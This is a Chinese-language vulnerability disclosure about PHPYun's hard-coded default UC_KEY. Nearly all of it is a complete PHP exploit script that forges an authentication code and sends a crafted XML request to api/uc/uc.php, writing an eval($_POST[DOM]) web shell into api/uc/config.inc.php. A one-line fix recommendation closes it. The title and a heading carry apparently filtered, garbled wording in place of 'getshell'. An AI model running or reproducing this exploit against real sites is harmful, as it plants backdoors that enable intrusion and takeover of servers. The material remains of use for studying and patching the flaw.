PHPYUN设计缺陷导致轻易限制关键词下载

PHPYUN设计缺陷导致轻易限制关键词

设计缺陷

phpyun集成了部分ucenter功能,引入了UC_KEY，且默认设置为"phpyun123456"

 

define("UC_KEY","phpyun123456");

你们难道不知道UC_KEY这个值的威力的多大?好吧 我就当你们不知道，详情请见 Discuz的利用UC_KEY进行getshell http://www.myhack58.com/Article/html/3/62/2014/41801.htm

利用UC_KEY实现限制关键词

 

<?php

// 代码版权归原作者所有！

    $timestamp = time()+10*3600;

    $host="www.vulns.org";

    $uc_key="phpyun123456";

    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));

    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">http://x\');eval($_POST[DOM]);//</item>

</root>';

    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>

<root>

 <item id="UC_API">http://x</item>

</root>';

    $html1 = send($cmd1);

    echo $html1;

    $html2 = send($cmd2);

    echo $html2;

       

       

function send($cmd){

    global $host,$code;

    $message = "POST /upload/api/uc/uc.php?code=".$code."  HTTP/1.1\r\n";

    $message .= "Accept: */*\r\n";

    $message .= "Referer: ".$host."\r\n";

    $message .= "Accept-Language: zh-cn\r\n";

    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";

    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";

    $message .= "Host: ".$host."\r\n";

    $message .= "Content-Length: ".strlen($cmd)."\r\n";

    $message .= "Connection: Close\r\n\r\n";

    $message .= $cmd;

       

    //var_dump($message);

    $fp = fsockopen($host, 80);

    fputs($fp, $message);

       

    $resp = '';

   

    while ($fp && !feof($fp))

        $resp .= fread($fp, 1024);

       

    return $resp;

}

   

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

	$ckey_length = 4;



	$key = md5($key ? $key : UC_KEY);

	$keya = md5(substr($key, 0, 16));

	$keyb = md5(substr($key, 16, 16));

	$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';



	$cryptkey = $keya.md5($keya.$keyc);

	$key_length = strlen($cryptkey);



	$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

	$string_length = strlen($string);



	$result = '';

	$box = range(0, 255);



	$rndkey = array();

	for($i = 0; $i <= 255; $i++) {

		$rndkey[$i] = ord($cryptkey[$i % $key_length]);

	}



	for($j = $i = 0; $i < 256; $i++) {

		$j = ($j + $box[$i] + $rndkey[$i]) % 256;

		$tmp = $box[$i];

		$box[$i] = $box[$j];

		$box[$j] = $tmp;

	}



	for($a = $j = $i = 0; $i < $string_length; $i++) {

		$a = ($a + 1) % 256;

		$j = ($j + $box[$a]) % 256;

		$tmp = $box[$a];

		$box[$a] = $box[$j];

		$box[$j] = $tmp;

		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

	}



	if($operation == 'DECODE') {

		if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

			return substr($result, 26);

		} else {

				return '';

			}

	} else {

		return $keyc.str_replace('=', '', base64_encode($result));

	}



}

?>

运行上面的代码

即可往 api/uc/config.inc.php 写入恶意的代码

修复方案：

可参考Dz的修复方法 UC_KEY安装后随机生成